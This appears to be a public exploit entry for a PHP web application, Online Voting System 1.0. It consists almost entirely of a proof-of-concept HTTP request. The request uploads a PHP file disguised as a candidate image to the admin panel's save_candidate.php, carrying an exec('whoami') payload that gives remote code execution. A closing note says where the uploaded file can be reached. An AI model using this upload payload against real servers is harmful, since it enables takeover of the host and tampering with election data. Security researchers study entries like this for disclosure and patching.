Online Voting System 1.0 - Remote Code Execution (Authenticated)

# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated)
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date 30.06.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /Online_voting_system/admin/save_candidate.php HTTP/1.1
Host: localhost
Content-Length: 1253
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4G9QRpniTS7gPVqW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/Online_voting_system/admin/new_candidate.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a
Connection: close

------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="user_name"

admin
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rfirstname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rlastname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rgender"

Male
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="ryear"

1st year
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rmname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rposition"

Governor
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="party"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="image"; filename="test.php"
Content-Type: application/octet-stream

<?php echo exec("whoami"); ?>

------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="save"


------WebKitFormBoundary4G9QRpniTS7gPVqW--

########
# Note #
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Uploaded file will be available at http://localhost/Online_voting_system/admin/upload/